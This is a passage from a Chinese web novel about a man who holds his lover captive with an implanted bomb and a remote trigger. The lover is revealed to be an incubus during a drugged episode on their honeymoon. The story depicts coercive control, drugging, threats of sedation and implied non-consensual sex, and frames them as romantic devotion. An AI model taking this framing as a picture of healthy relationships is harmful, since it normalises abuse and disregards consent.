他觉得这是彼此紧。密。相连的铁证,更是他们难得的温存。 看啊,叶临这样痛恨他,恨不得他去死。 如此强烈的情绪,怎么不算在叶临心里有重要地位呢。 被仇恨,总比无视好吧。 只要叶临杀了他,就会永远记得他的存在。 他会在叶临的人生里留下浓墨重彩的一笔,多么有成就感。 梁文乐甘愿引颈受戮,完全地放松身心,像是在教堂里接受神圣的洗礼,姿态虔诚。 突然间,力气彻底散掉。 叶临真想他死,可自己是正常人,又不是疯子,怎么可能对活人下得去手。 他也很想像梁文乐一样无所顾忌地发疯,让所有人都不好过。 可他精神正常,做不到啊! 发泄完怒气过后,是无奈的痛苦。 叶临抓住梁文乐的领口,想过很多个话术,都没有说出口。 梁文乐还在大口吸气,胸膛剧烈起伏,像是高原反应后疯狂吸氧。 叶临都不知道怎么面对这个疯子,只能从他的利益出发:“100米跟圈养的宠物有什么区别?我肯定会受不了,到时候跑掉,就会断腿。断腿就不美了,你也不希望自己拥有一个残次品吧。” 梁文乐拿起他的手,亲吻手背,言辞诚恳:“宝宝断腿也美,到时候我就做你的拐杖,多好。” 叶临听完这句话,仿佛听到炸弹的声音,下一刻脚上就传来剧烈的,血液飞溅,彻底变成残疾人。 怎么能这样? 怎么能让他遇到这种人呢? 他知道自己手段卑劣,满口谎言,唯利是图,确实不算好人。 但,但也不能让他遇到疯子,被疯子折磨。 不就是贪财了一点呢,老天有必要这样惩罚他吗? 叶临真想不明白。世界运转法则是有问题的,专门迫害他这种无辜的人。 梁文乐感觉到湿意,抬眼去看,发现有两行泪顺着叶临的脸颊淌下来,泛着银光。 那双眼睛里有诸多情绪,充斥着恐惧害怕,仇恨愤怒,质疑后悔。 卑劣的混蛋怎么会有这些情绪? 梁文乐在心里骂了叶临,还是将他搂进怀里抱着,轻声安抚:“放心,不会炸掉你的腿。” 叶临哭着骂,声音都含糊不清:“炸弹又不是安装在你的腿上,你当然不着急了,王八蛋!” 梁文乐爱极了他这副可怜兮兮又暴躁恼火的模样,抓扶着他的手去触碰自己的心口。 睡衣都是宽松的,没有扣子。 叶临清楚地看见心脏的位置有个明显的缝合痕迹,跟自己脚踝上的一模一样,只不过范围更广,看起来是植入了个稍大一点的东西。 “骗你的,炸弹早就安在我心脏附近,遥控器在你的脚踝。只要你超过安全范围,我就会死。” 梁文乐的声音很轻,像是刚从地府爬出来的鬼在呢喃,怨气遍布四周,令人发怵。 叶临隐约间听到心脏的跳动声,面部表情都僵住。 咚咚咚! 跟正常人的纯粹心跳声不同,还多出其他的声音,是冰冷的机械在运转。 怎么会有人将炸弹安在自己的心脏附近,还把遥控器安装别人身上? “你真的有病!” “刚刚你都不舍得掐死我,看来以后都会呆在我身边。” 梁文乐埋头深嗅,感受柔软。已经难以戒掉这份痴迷,只能任由自己逐渐沦陷。 他再次见到叶临,以为自己报复完就能彻底放下这段感情。 可是经历昨天的事,就清晰地认识到自己根本没办法离开叶临。 只要能够跟叶临绑在一起,无论用什么方式都行,哪怕是付出他的性命。 叶临:“你就这么自信,我不舍得你死?” 梁文乐捧着他的脸,像是疯狂信徒在注视着神明:“让我为你死好了,这样你这辈子都不会忘记我,永远永远。” 其实这是个无解的局面。 叶临分不清梁文乐说的是实话,还是假话。也不知道炸弹在他身上,还是在梁文乐身上。 但不管是他断腿,还是梁文乐被炸死,都是无法接受的局面。 他还有公司,有远大的理想要完成,不能背负上一条人命。同样,他也不能接受残疾的自己。 所以呢,他上辈子做了什么孽,要遇到梁文乐? 叶临:“我一开始就不该” 梁文乐立即捂住他的嘴,强行打断,故作甜蜜地回答:“我们相遇是很美好的,也曾真正的幸福过。 虽然过程曲折,但结果肯定是好的。你不要说后悔,我会伤心的。” 他喜形于色,脸上洋溢着幸福,半点伤心痛苦都看不到。 反倒是叶临,拼命地挣扎,又被困住。 “宝宝乖乖,早点睡觉,不然我就给你打针喽,就白天的那个,很好用吧。” 麻醉不能多打的,伤害身体。 这个脑残,居然用麻醉针威胁他! 能够安装炸弹,肯定也能用麻醉针,总不能被他害成傻子。 叶临的脸颊都憋红了,泪水还没干,眼睛红红的,还有水光,看起来楚楚可怜。 太可爱了,是他养的小兔子! 梁文乐心痒得咽口水,低头去吻,尽情地享用他的晚餐。 只不过小兔子脾气太暴躁了,动不动蹬人,找到机会就会反击,在他很多地方都留下了青痕。 小兔子非常用力,像是被钢锤铁针攻击。 好几次都疼得倒吸一口冷气,浑身发抖。 但他很喜欢,至少叶临愿意留下痕迹,这是爱的证明。 叶临逐渐哭起来,肩膀都在发抖,把这辈子想到的所有脏话都骂出来。 梁文乐干脆用蕾丝封住,不让他继续说话,自己倒是在旁边念叨不停,像是在唱童谣。 “你是我一个人的小兔子。” 他小时候最喜欢《爱丽丝梦游仙境》,每天都在祈祷能遇到一只带他进入美好仙境的兔子。 梁父梁母为了让他高兴,就给他买了一只兔子,还建造大型的游乐场,满足他的童话梦。 可游乐场不是仙境,兔子没有魔力。他失望至极,哭了好几天,就把书撕烂了。 现在他要为这件事忏悔,因为书里描述的都是真实的。 “亲爱的叶临,你是带领我进入美好世界的兔子,我会永远爱你。” 第84章 第84章“你竟然是魅魔!”…… 玫瑰花谷绵延一百多公里,有几百年的玫瑰种植历史。当地还会举办盛大的玫瑰节,庆祝丰收。 飞机还没落地,就可以在广袤的大地上看到一条狭长的河谷,宛如女神的丝带,鲜艳华丽。 当地有个高档的住宅区,坐落在半山腰,可以俯瞰玫瑰花谷,将美丽的花海一览无余。 梁文乐精心给叶临打扮,换衣服化妆,才牵着手出门。 出门前,叶临盯着镜子中的自己看,生气又无奈。 镜子中的自己穿着白色短衫,外搭奶黄色背带裤,腰间还缀着棕色小熊,看起来像个小学生。 救命,这好看吗? 真是服了梁文乐的审美,净会挑些幼稚可爱的衣服。 叶临在心里吐槽完,又庆幸今天梁文乐没让他穿粉色衣服。 到了外面,梁文乐似乎不满意,又盯着他的脸颊看了好一会儿,拿出白色贝雷帽固定在他脑后。 “这样才可爱!” 梁文乐说完,凑上去亲他。 叶临下意识地偏头,恨不得踹他,结果就被掐住下巴,强行拽回去。 梁文乐将他完全拥住,神情惬意,享受美好的新婚夫夫时间。 这是独属于他的,谁也不能抢走。 叶临快喘不过气,用力踩他的脚,催促放开自己。 梁文乐不喜欢他这种理所应当的语气,好像自己是个奴仆,而不是丈夫。 “你要说,亲爱的,我快呼吸不过来,放开我好不好?” “操,我看你真是病得不轻!” 梁文乐轻声笑了一下,抬手去拍,继续纠正这个没有礼貌的孩子。 “宝宝再骂人的话,我就回去罚你。” “你!” 叶临的耳垂感觉到热气,能想象到梁文乐口中的惩罚场面,脸颊微微泛红,咬牙在心里骂他。 算了,暂时不跟这种疯子计较,先假装顺从,再找机会寻求外人帮助。 最好能遇到医生,帮他取下脚踝上的遥控器,那样就可以顺利出逃。 叶临迅速思考完对策,按照梁文乐的想法撒娇:“亲爱的,你放开我好不好,我们还要出去玩呢。” 梁文乐很满意他的学习能力,松开手前还奖励地亲吻他的面颊。 别墅的下方是大片的花田,种植着各种各样的玫瑰花,其中以淡粉色和橘粉色为主。 尤其是橘粉色,占据了中间大片的区域,个头也比普通的玫瑰花要大一两倍,花瓣的重叠程度更高,看起来繁复华丽。 花田的中心还有处雪白色的亭子,采用希腊式的建筑风格,看起来神圣庄重。 而亭子中间摆放桌椅,供人休息,欣赏周围的玫瑰花。 偌大的花田里,只有他们两个人,这一片都被梁文乐包下来,精心布置成他们的蜜月场所。 叶临发现这里的玫瑰花香味浓烈,但并不刺鼻,是一种复杂的香味,有细微的变化,让人心旷神怡。 梁文乐看到一簇橘粉色的玫瑰花,躬身去摸,想起订婚宴的事:“我为了筹备婚礼的玫瑰花,跑遍了世界各大玫瑰花产地。 之前来过这里,就选中了这个品种。当时我就想好了,蜜月第一站就定在这里。” 订婚宴对于两个人来说,都不是美好的回忆,充斥着背叛怒火,羞辱报复。 一人精心筹备,真心地期待婚礼,另外一人却满不在乎,还偷偷去找别人。 叶临就怕他因为旧事而发疯,连忙看向凉亭的方向,转移话题:“文乐,我饿了,这里有吃的吗?” 梁文乐抬眼看他,盯了一会儿没说话。这双茶褐色的眼睛,干净澄澈如山涧,却空洞无神,没有忏悔和爱意。 叶临连忙改口:“亲,亲爱的,我们去亭子里吃东西吧,我有点饿了。” 梁文乐看见他的慌张无助,忍不住嘲笑自己的自作多情。 他们之间的关系一开始就是畸形的,好比播下一颗坏种子,只能长出歪曲树干,结出的果子也是酸涩难吃。 就算是这样,他也能靠着曾经一点甜蜜,强行吃下这颗果子。哪怕酸得牙齿疼,苦得皱眉,都能忍受。 “走吧。” 梁文乐牵住叶临的手,朝着亭子走过去。 这个亭子是新修的,穹顶是仿照教堂的样式,用艳丽的色彩绘制了来自各地的爱情神话故事。 周围的石柱雕刻着玫瑰花,鸽子,丘比特,全都是爱情的元素。 桌上放置冰镇的冷汤,是用酸奶和水果调制,喝起来清爽解腻,还有新鲜的蔬菜沙拉和烤肉,以及蛋糕。 叶临也不是很饿,但话已经说出去,现在就只能每样都吃一点。 还是冷汤最好喝,烤肉口味一般,蛋糕太甜了。 梁文乐坐在对面,没吃多少,大部分时间都盯着叶临看。 凉亭的南面有条河流,哗啦啦的水声不断地传来。 河流清澈见底,还有样貌奇特的小鱼在游。 对面有个山坡,绿草如茵,盛开着淡黄色的野花,上面矗立着一座老教堂。 门口站着许多当地人,非常热闹。 梁文乐带着叶临走进教堂里,径直朝着中心的神像走去,那里站着一个穿黑衣的高鼻梁神父。 叶临观察四周,发现这个教堂的年份已经很久远了。 墙面有过多次修补痕迹,还残留着裂纹。而彩色玻璃有些新有些旧,穹顶上的绘画也有很多地方脱漆掉色。 梁文乐告诉他,这个教堂有三百多年的历史,在这里许下爱情愿望都会实现。 叶临听到这个教堂只管爱情,瞬间没了兴趣。他现在只想离开梁文乐,哪还有其他的想法。 梁文乐无疑是这座教堂的大出资人,神父和修女们都围上来,帮他准备许愿流程。 教堂里其他人都被要求安静地坐下来,欣赏这对新人的爱情誓言。 叶临讨厌这种目光,像是婚礼上的宾客,而他并不想跟梁文乐结婚,简直是在罚站。 梁文乐对着神像虔诚祈祷,希望神明能够祝福他们的爱情。 本来想许愿“有情人终成眷属”,可他和叶临并不是两情相悦。 最后就变成许愿“有钱人终成眷属”,他和叶临都有钱,肯定能相守一生。 祈祷流程结束后,就是神父说新婚祝语。 叶临还没反应过来,就被梁文乐吻了,还是在众目睽睽之下。 大家都在祝福这对新人,喝彩声如潮水般涌来,要将他淹没,喘不过气。 好烦,真不想陪蠢货演戏! 如果神明有眼,就应该拆散他们,让他们永不相见。 叶临在梁文乐幸福的目光中,许下了恶毒的诅咒。 梁文乐察觉到他的恶意,也没有当回事,继续正常的流程。 没关系的,哪怕叶临不爱他,只要他们在一起就好。 很多夫妻都不是真心相爱,不也是相伴了几十年,他们也可以这样。 傍晚时分,河面上波光粼粼,岸边的玫瑰花随风起舞,不少吃完晚饭,沿着河流散步。 叶临不愿意回别墅里,非要在民间品尝当地的特色饭菜。 梁文乐带着他去城市有名的菜馆里用餐。 菜馆有很多人,他们的房间在窗户边,可以看到连绵的山脉。 端上来的饭菜跟中午大同小异,多了一道炖菜,看着味道还行。 叶临尝了一口,还算满意。吃饭期间,他会注意街上的情况,看有没有医生或是诊所。 梁文乐的手机忽然响起来,他拿起来查看,发现是自己不能挂断的电话,只好走出去接听,还叮嘱叶临别乱跑。 看起来应该是很重要的人或事,才会逼得梁文乐出去接电话。 是有关顾嘉致的事情吗? 叶临站起来,朝着包厢外走去,躲在转角背后发现梁文乐就在走廊接电话。 梁文乐的神情凝重,似乎是遇到了难处。 这里距离有点远,听不清楚。 叶临刚想凑近去听,结果看见一个跟自己肤色相同的男人走过来,连忙抓住他的胳膊。 男人长相成熟,穿着灰色短衫,看起来是个三十多岁的上班族。 叶临试探性地跟他道歉:“对不起,我认错人了!” 男人将他上下打量一番,似笑非笑:“没关系。” 好久没有遇到语言相通的同乡,总算有救了。 叶临的心情激动,看着男人面善,小声跟求助他,而且承诺事后肯定会有报酬。 男人的注意力全在他的脸上,根本没有仔细听他说话,提议去他的包间里详谈。 刚好他的包间就在梁文乐隔壁,距离很近,也方便随时观察情况。 进入包间后,男人给叶临倒了一杯果酒,问他来自哪里,遇到了什么难事。 叶临简单地说完自己的经历,强调梁文乐的可怕:“你是医生吗,或者帮我找个医生?” 男人觉得他的经历太过狗血诡异,像是编造的小说,完全不可信。 但还是要哄他:“兄弟受苦了,你放心,我就是医生,待会儿我就帮你做手术。” 叶临看到希望,将他给的果酒一饮而下,又看向门外:“谢谢你,我先回去,免得被他发现。” 男人看他站起来,连忙抓住他的手腕:“别啊,我们再聊聊。” 叶临扭过头看男人,感觉他的眼神有点过于狂热。 【当前金钱增速为每小时30元,建议宿主寻找高质量的男性。】 听到系统的提示音,叶临忽然感觉到强烈的热意,下意识地想挣开手。 男人强行凑上来,想占便宜:“我看你长得好看,应该也喜欢男人吧,咱们凑合一晚上咋样?” 叶临发现自己的四肢无力,连推开他都做不到,立即看向桌上的杯子:“你!” 男人刚想跟解释,脸就被揍了一拳,往后倒去,撞到墙壁,后脑溢出血。 叶临看不清身后的情况,没了支撑力就往下倒去,紧接着就被搂住。 他听到了熟悉的声音,就没有反抗。 梁文乐将他抱进怀里,发现脸颊红得异常,急忙询问身体情况。 叶临久违地找到了变魅魔前的感觉,低声道:“他,他喂我的果汁有药,快送我去医院。” 梁文乐看了地上的男人一眼,哪怕心里有怒气,还是担心叶临的身影,于是先抱着叶临离开,打电话派人来收拾地上的男人。 上车后,叶临就像是变成了棉花,都不能好好地坐着,只能窝在梁文乐的怀里。 梁文乐怨念很重,埋首质问:“你为什么会跟他喝酒,怎么不乖乖地等我?” 叶临无法回答,只能不断地呼出热气。 【警告!由于药物影响,饥饿值增速过快,目前89%。】 【饥饿值92%,请宿主快速补充能量。】 饥饿值突然异常增速,不管是去了医院,还是找医生过来,肯定会被抓去试验所做研究。 叶临连忙抓住梁文乐的手,恳求道:“别去医院,也别找医生,你快亲我。” 梁文乐冷哼一声,板着脸拒绝:“你现在又想到我了,那你还跟那个野男人喝酒!” 【饥饿值96%】 不行了,再不消除一点,肯定会完蛋! 叶临费劲地偏头去亲,轻声道歉:“对不起,我不应该去找他。他是个狼心狗肺的坏人,如果你没有及时赶到,我今天晚上就完蛋了。” 梁文乐感觉到柔软和热意,好半天没有反应过来是叶临主动亲他。 其实怒气已经消了很多,但只要想到叶临背着自己跟男人喝酒,心里就泛酸。 梁文乐咬牙骂道:“你这个没良心的家伙,我才不要帮你。” 叶临快急死了,只好再次凑过去,想摄取能量。 梁文乐故意避开,骂道:“你脏死了,我现在才不要你!” “操,想跟我在一起的是你,不让亲的还是你!梁文乐,我从没见过像你这么贱的蠢人!放我下车,我随便找个男人亲好了。” “不行!” 梁文乐连忙控制住他,害怕他真跑去找野男人。 此时车已经到达别墅的庭院里,懂事的司机提前退场,只留下他们。 【饥饿值100%】 叶临的大脑已经被糊住,神志不清,凭借本能意识抓住梁文乐的手。 梁文乐惊讶地看着他冒出两个黑色的角,裤子破了,有根长长的尾巴伸展出来,像是神话故事里的恶魔。 他不敢相信地抬手去触碰,发现居然是真的角,而且尾巴也是从身上长出来,不是穿。戴道具。 怎么会,叶临不是人类? 桃心形的尾巴不断地摇晃,拍好几下,向小梁文乐发出了邀请。 叶临的眼神迷离,微微张嘴,吐出灼热的气息。 “要,要” 魅魔恢复了力气,需求量比平时更大,主动地搂住脖子索求能量。 梁文乐再次触碰他的角:“你是恶魔吗?” 叶临的肩膀微颤,尾巴也跟着摇晃,声音黏糊糊:“是魅魔,我要吃东西,快点喂我。” “你竟然是魅魔!” 第85章 第85章人类,快喂魅魔吃饭! 魅魔见面前蠢笨的人类没有行动,急躁生气,干脆自己动手,丰衣足食。 对于他们这种生物来说,补充能量就是吃饭,吃不饱饭会饿死,是头等重要的大事。 “你!” 梁文乐惊讶地俯视叶临,耳尖发烫,抬手盖住黑色的角。 类似于羊角的质感,坚硬的同时又有玉的温润,表明还会有细密的纹络。 就像是小狗被摸了头,心情愉悦,尾巴左右摇晃。 而且这样看,魅魔的脸精致小巧,被丑陋衬托得白皙如瓷,单纯无辜。 梁文乐抬手去摸他的耳垂,由衷道:“你好小。” 叶临光是这样并不会满意,还要摄取更多的能量,于是从高处俯视梁文乐,以一种看食物的姿态。 梁文乐的手被抓住,紧急着就感觉到了熟悉的一切。 此时正是夏天,炎热干燥的手应该浸入清凉的冰水中降温,可是却泡了温泉水,更热。 哪怕是以前热恋期,都没有见过如此主动的叶临,完全把男性当成食物,只在意自己的饱腹程度。 “哼!” 魅魔小声哼唧,按着梁文乐,自行进食,似乎是在这个笨蛋人类的气。 为什么不及时喂他,非要他饿这么久,真是过分! 果然,靠人不如靠己。 他应该是中暑了,脸颊红得厉害,眼睛水莹莹的,像是浸入湖水中的墨翠。 夏日里,温度持续升高,车内的空调只能继续调低,完全拉上玻璃。 还好这个别墅位于私人山庄之中,基本上没有人会靠近山腰。 倘若有人靠近这个别墅,看见院子中停放的红车,肯定会迅速跑开,不敢多做停留。 梁文乐发现叶临的头距离车顶很近,很有可能会撞到头,只好让他降低高度。 车后座可以放平,变成舒适柔软的大沙发,供人休息。 梁文乐拿出小枕头,凑过去轻声道:“宝宝这样就不会磕到头了。” 叶临总算回过神,看着眼前的景象,立即大骂:“梁文乐,你这个混蛋!” 梁文乐笑起来,亲亲他的角:“宝宝应该早点告诉我是魅魔,这样我早就会修建一个漂亮的笼子,把你保护起来,再也不会让臭男人接触到你。” 叶临感觉到痒意,才反应过来自己的角和尾巴都没变回去,不由得疑惑。 系统在搞什么,恢复清醒,饥饿值已经消除完了吧,怎么还没恢复原状? 【宿主,这都是药物的错,系统现在已经紊乱了。】 什么鬼 意思是他要一直保持这个状态吗,要死! 【也不是,应该会持续几天。】 【此外,药效还没消失,饥饿值又要满了。】 叶临听完它的话,很快就有了感觉,大骂魅魔系统是智。障,专门坑害他这种善良男性! “你怎么在走神,是想刚刚那个男人吗?”梁文乐抓住他的尾巴,完全不掩饰自己的野蛮,随性而为。 “操,你!”叶临惨叫一声,抬脚去踹:“你给我去死!” 这样就好,至少叶临的心和目光会停留在他身上,而不是别人。 梁文乐故技重施,非要问出结果:“你还没回答我,为什么不一开始就告诉我是魅魔?” 叶临这种时候最容易受制于人,咬牙骂道:“告诉你这种混蛋,只会把我当成怪物送进研究所,把我解剖了做研究。” 梁文乐注意到他的眼尾泛红,马上要哭了,低头去吻,轻声哄:“怎么会呢,我才不舍得让别人看见宝宝这副模样。” 叶临扭过头,不想对上那双凝视自己的眼睛:“谁信啊,你这种疯子,做出什么坏事都正常。” 听语气,好像是拿他跟别的男人做对比。 会是谁,顾嘉致,沈邵,还是顾柘? 梁文乐猛然惊醒过来,掌控住叶临的弱点,沉声追问:“魅魔这件事,你还告诉谁了?” 叶临急红脸:“你放开我!” 梁文乐偏不,就是要逼迫叶临着急,这样小骗子才会说实话。 没有男人能够忍耐这种手段,叶临也不列外。 很快,他就完全败下阵来,只能陈述现实:“顾嘉致也知道。” 他看得出来梁文乐在怀疑顾嘉致,隐瞒也是坐实,而且会激怒梁文乐,让他受苦。 倒不如先承认,再看看情况。 梁文乐听完,恍然大悟,嘴里念念有词:“难怪,难怪你跟他关系那么好,是他掌握了你的秘密吗?” 叶临点点头,凑上去亲他:“放,放开。” 梁文乐让他如愿以偿,将他捞起来抱紧:“以后我会保护你,帮你守住这个秘密,不许去找别人,好吗?” 叶临在心里骂他是个独裁的君王,还厚脸皮不要脸,现在有求于他,也只能假意顺从。 “那你要把我脚踝上的遥控器拆掉,还有不能限制我的人身自由。” “这个做不到。” “那你还装什么好人,连顾嘉致的十分之一都比不上!” “你说我不如顾嘉致?”梁文乐讥讽地笑,强行将他按住:“是他把你送到我身边的,没见过这么蠢的。再说了,你最喜欢钱,之前不跟他在一起,是因为他没我有钱吧。” “不是!我现在才明白,他是你们当中最正常的一个,最开始是我不舍得骗他。” 不舍得? 不舍得这个词多暧昧啊,不舍得骗顾嘉致的钱,不舍得骗顾嘉致的感情。因为在意,所以不舍得。 因为已经放在心上,所以看到顾嘉致虚弱,会甘愿屈服。 梁文乐跟顾嘉致是多年的朋友,完全是看在顾嘉致会说话哄着自己,没把顾嘉致放在平等的位置上。 他从小就知道自己是天之骄子,理所应当地得到所有的宠爱,早就习惯别人的追随,顾嘉致也只是跟班之一。 可以在顾嘉致受困的时候施以援助,也会在顾父顾母面前帮忙说好话,但这并不代表他看得起顾嘉致。 这样一个被他轻视的人,居然能得到他苦苦追寻的爱? 真的合理吗? 凭什么! 梁文乐已经被嫉妒冲昏了头脑,反复追问。 “你为什么不喜欢我,为什么!” “我只需要你喜欢我,跟我在一起,有那么难吗!” 叶临朝着他的脸上吐口水,眼神轻蔑:“太难了,让我喜欢你这种垃圾,不如杀了我。” 梁文乐捏住他的脸下巴:“你怎么好意思说我垃圾!” 叶临这种在底层苟活的私生子,没钱没势,没能力,喜欢他不是天经地义吗? 为什么却是反过来,他不断地放低姿态,自欺欺人,从最初的两情相悦,到现在只求在一起。 更让人破防的是,就连顾嘉致都在叶临的心里有一席之地,而他只是叶临想远离的垃圾。 梁文乐的眼眶逐渐湿润,声音沙哑:“叶临,你不能这样对我,太过分了。” 叶临从不会可怜他,照旧拔刀:“是你先犯病发疯的,怎么能怪我不在意你。你都不配跟顾嘉致比,更别说沈邵他们。” 叶临总是能精确找到角度,将他刺穿,好似死了一般。 真厉害啊,让他爱而不得,恨而无能。 梁文乐将他抱紧,浑身都染上了梅雨天的水汽,是墙角的霉菌在肆意生长。 “他们都死就行了,这样你就会依靠我,慢慢地爱上我。” 叶临发觉他已经完全被怨气吞噬,像是预谋的连环杀人犯,下一刻就会跑出去乱砍人,肩膀都开始发抖。 “你别做出极端的事情,哪怕他们都死了,也会有新的人出现。想让我喜欢,其实很简单。你安照我说的做,拆掉炸弹,再给一点自由就好了。” “叶临,你只有伤人的时候才会说真心话,我不会信你。” 梁文乐对他失望至极,用外套衣将他裹住,打开车门出去。 叶临还没恢复人形,害怕被人看见,只能埋头躲起来,劝梁文乐正常点。 梁文乐的步伐很快,注意到他的尾巴露出来,还抓起来放进外套里藏起来。 叶临的五感比平时要强烈,耳尖红得滴血,咬牙骂他别动尾巴。 梁文乐就是要放在手心里把玩,还要警告他不听话,就会把他送去研究所。 【饥饿值已满100%,请宿主补充能量。】 叶临还想痛骂他,但是意识再次不清,只能扒拉他的衣袖,索要能量。 梁文乐知道,应该是药效还没过去,低头去吻。 刚刚那个男人穿着便宜,看着就没钱,估计使用的是烈性药,需要很久才能消除。 接下来的七天里,叶临都没出过门。 有时候已经分不清自己是在厕所,还是在阳台,又或是沙发,厨房,楼梯间。 总之,别墅里的每一处,都有他和梁文乐的痕迹。 有时候,都没空吃饭,只能喝营养剂。 虽然第一天,梁文乐就喂叶临吃了解毒剂,解除药的负面作用,但是魅魔系统紊乱,导致他的饥饿值增速异常,持续在高峰。 梁文乐取消了后续的所有活动,还不允许任何人进入别墅,陪着叶临渡过这段时间。 他发现叶临是有缓冲期,五六个小时才会缠着他索取,吃饱后又继续躺尸。 而且魅魔的形态没解除*,保持着这个样子,叶临就不想出门,害怕被别人看见。 梁文乐趁机打电话让人在南半球的小岛准备一个新的别墅,到时候带叶临过去,再也不会有人来打扰他们。 再次醒来,叶临怀疑自己要累死了,手指抬不起来,连忙查询饥饿值。 【目前饥饿值50%,增速有所降低,但宿主还是要及时补充能量哦!】 算算时间,上回跟梁文乐,也就是八个小时前的事,居然就累积了50%,太离谱了! 增速跟以前相比,快了不止十倍吧,能不能修好啊? 【抱歉,暂时修不好,只能慢慢等待正常了。】 靠,魅魔系统应该是所有神豪文里最垃圾的金手指了吧! 【宿主不能这样骂我,至少我确实让宿主有了豪车豪宅,身价过亿呢。】 呵呵。 叶临无情嘲讽,发现房间里很暗,厚实的窗帘将窗户遮挡得严严实实的,半点光都透不进来。 灯的开关就在右手边,可他连起身去开灯都做不到,只能继续躺着。 实在是太痛苦了,像是池子里的水被抽干。 二十出头的年纪就体验到了30岁男人的无力。 甚至有些男人到25岁就废了,变成只能吃斋念佛的和尚。 叶临以前不理解,现在懂了。 无欲无求,只想好好生活。 忽然传来门锁打开的声音,紧急着就闻见饭菜的香味。 梁文乐走到他旁边打开小灯:“要吃饭吗?” 叶临看向木质托盘里的饭菜,两眼一闭,非常想念沈邵的手艺:“我想喝水。” 梁文乐将他扶起来,用勺子慢慢地喂,还哄着他多吃点饭菜,都是大补的食材。 叶临的细长尾巴烦躁地上下甩动,推开托盘,板着脸拒绝。 梁文乐把托盘放到旁边,帮他开了一袋营养剂递过去:“看你的饥饿值又要满了吧,我再帮你。” 19岁的男人正值活力充足的时候,不知疲倦,可以长时间续航。 叶临吓得挡住脸:“不了,我饥饿值才是20%,等它满了再说。” 梁文乐扯开他的手,强行去吻,故作严谨地强调:“这样算下来,你每小时的增速是60,很快就到100了,20%很危险,我先帮你消除。” 叶临唔嗯着推拒,结果越来越低,难以挣脱,在心里诅咒梁文乐去死。 可以出车祸死,也可以突发疾病死,只要不是因为他而死就行。 手机铃声突然响起,屏幕亮度在这个幽暗的房间里异常刺眼。 梁文乐恋恋不舍地松开叶临,拿起来接听,很快脸色就沉下去。 他把叶临抱起来,急匆匆地往外赶,快速塞进车子里,亲自开车朝着机场跑去。 叶临都没换好衣服,躺在后座上起不来。 车速很快,像是被鬼追了,逃跑慢一步,就会死亡。 叶临抓住扶手,勉强半坐着,看向前面的梁文乐。 发现他的手紧握住方向盘,青筋浮现,如临大敌。 是有人在追他们吧,还把梁文乐的那些保镖都干掉了。 “你这么慌张,是因为顾柘追过来了,对不对?” “不是!” “那你为什么”叶临刚想追问,车就停下来,害得他往前撞去,磕到头。 “操,梁文乐你这个废物,乱停什么车!” 梁文乐迅速离开驾驶座,来到后座把他抱起来,亲吻额头,低声道歉:“对不起,我现在就帮你涂药。” 叶临狂扇他几巴掌,痛骂他祖宗十八代,要他这辈子断子绝孙。 骂完又反应过来,这小子是同性恋,本来就没有后代。 又踹了几脚,咒他肾。虚。 梁文乐的脸颊被扇得刺疼,像是烧起来,边帮叶临涂药边调侃:“我肾。虚,你怎么办?” 叶临红了脸,不想跟他说话。 车外就是港口,阴天的海面难看浑浊,风很大,吹在人脸上像是被扇了。 面前有一座小型游艇,已经停靠港口,上面只有两个工作人员。 梁文乐帮他穿上可以挡住耳朵的连帽衫,尾巴也强行藏起来,再领着他上游艇。 这就不对劲了,梁文乐这种高傲的人,怎么可能坐这种游艇。 除非是时态紧急。 叶临看到岸上多了好几辆车,都是赛级的,终于反应过来。 船离岸很快,已经看不清那些车的模样,但能够感觉到车前面站了好几个人。 梁文乐将叶临掰过来看自己,语气不悦地警告:“别看了,我们马上就会到新的乐园,再也不会有人来打扰我们。 叶临看破他的意图:“你撒谎了,刚刚开车这么快,就是有人在后面追。附近的机场太远,还只有个小港口,为了逃跑就只能临时召集个小游艇。” 梁文乐被他拆穿心思,苦恼暴躁,啧了一声:“这不都怪你,非要招惹这么多男人!” 叶临顿悟:“是顾柘?不止,还有沈邵和楚诏!” 第86章 第86章可爱又暴躁的小魅魔 小型游艇只有两层,具备基本的功能房间。一楼是餐厅和休闲区域,二楼就是睡觉休息的地方。 比起梁文乐其他的豪华游艇小了好几倍,但也相当于一座海上别墅,可以航行半个月。 两个工作人员都是当地人,跟叶临的语言不通,没办法沟通,更不可能蛊惑他们背叛梁文乐。 此外,魅魔形态还是没有消除,都不敢离开房间。 梁文乐把航行的任务交给一楼的工作人员,全天都赖在二楼的卧室,抱着叶临看电影。 在他眼里,叶临就像是一只脾气暴躁的猫咪。有小巧可爱的角,以及长长的尾巴。 烦躁的时候,这根尾巴会不断地甩来甩去,怕打他。 尾巴就像是鞭子,上面都没有蓬松的毛发缓冲,力度足够大就会感觉到疼意。 梁文乐是喜欢被拍的,但有时候实在是心痒,又要抓住这根尾巴,坏心把玩。 哪怕是品质最好的羊脂玉,都没有尾端的桃心好,温润柔软,跟猫猫的粉抓垫是同样的感觉。 虽然耳朵和尾巴是凭空多出来的,但感觉会比其他地方还要强烈。只要轻微的触碰,就会掀起波澜壮阔。 叶临正在为电影里男主的懦弱行为而生气,想冲进去打死这个废物。 尾巴却突然被抓住,半边身体都酥麻,立即朝着旁边的梁文乐扇了一巴掌。 “啪——” 梁文乐的脸上浮现出红色的手掌印,还有火辣的疼,然而他也没有松开手,继续把玩。 叶临又踹他,骂道:“你放开,想死啊!” 梁文乐托起桃心,低头去吻,神情温柔:“可它好可爱,我就是很喜欢,没办法放手。” 叶临骂了脏话,抬手去阻止,却被握住手腕:“你别玩了,我会觉得痒,烦死!” 梁文乐笑着亲了他的脸颊:“可是我看你也很喜欢,耳朵都红了。” 叶临慌张得看向别处,咬牙切齿:“那,那都是因为魅魔的本能反应,怎么能怪我!” 梁文乐将他锁进怀里,仰头去吻头顶的角,很快感觉到怀里的人在发抖,心里非常满足。 “好可爱,角和尾巴一样。” “操,梁文乐你别发疯!” “再亲亲。” 叶临用力推,还是被亲了。 他感觉梁文乐像是吃完的口香糖,已经没有味道了,非常嫌弃,但粘性就是很大,怎么都扣不下来。 梁文乐闻见两个人的味道一样,可以完美地融合,会有莫大的幸福感。 哪怕不是两情两愿,但只要待在一起,就是会心情好。 以前他不知道叶临是魅魔,还是会责怪叶临四处沾花惹草,勾搭了很多男人。 现在就能理解叶临了,只要有人看过叶临的魅魔形态,没有不痴迷的。 魅魔长相可爱,性格却很暴躁,这就更加吸引人了。 倘若叶临是个脾气温顺,乖巧听话,就像是糖添加过量的蛋糕,容易腻死人。 可他睚眦必较,嘴毒心软,还爱打人,犹如夏天的清爽柠檬汽水,一口解暑。 好喜欢好喜欢好喜欢! 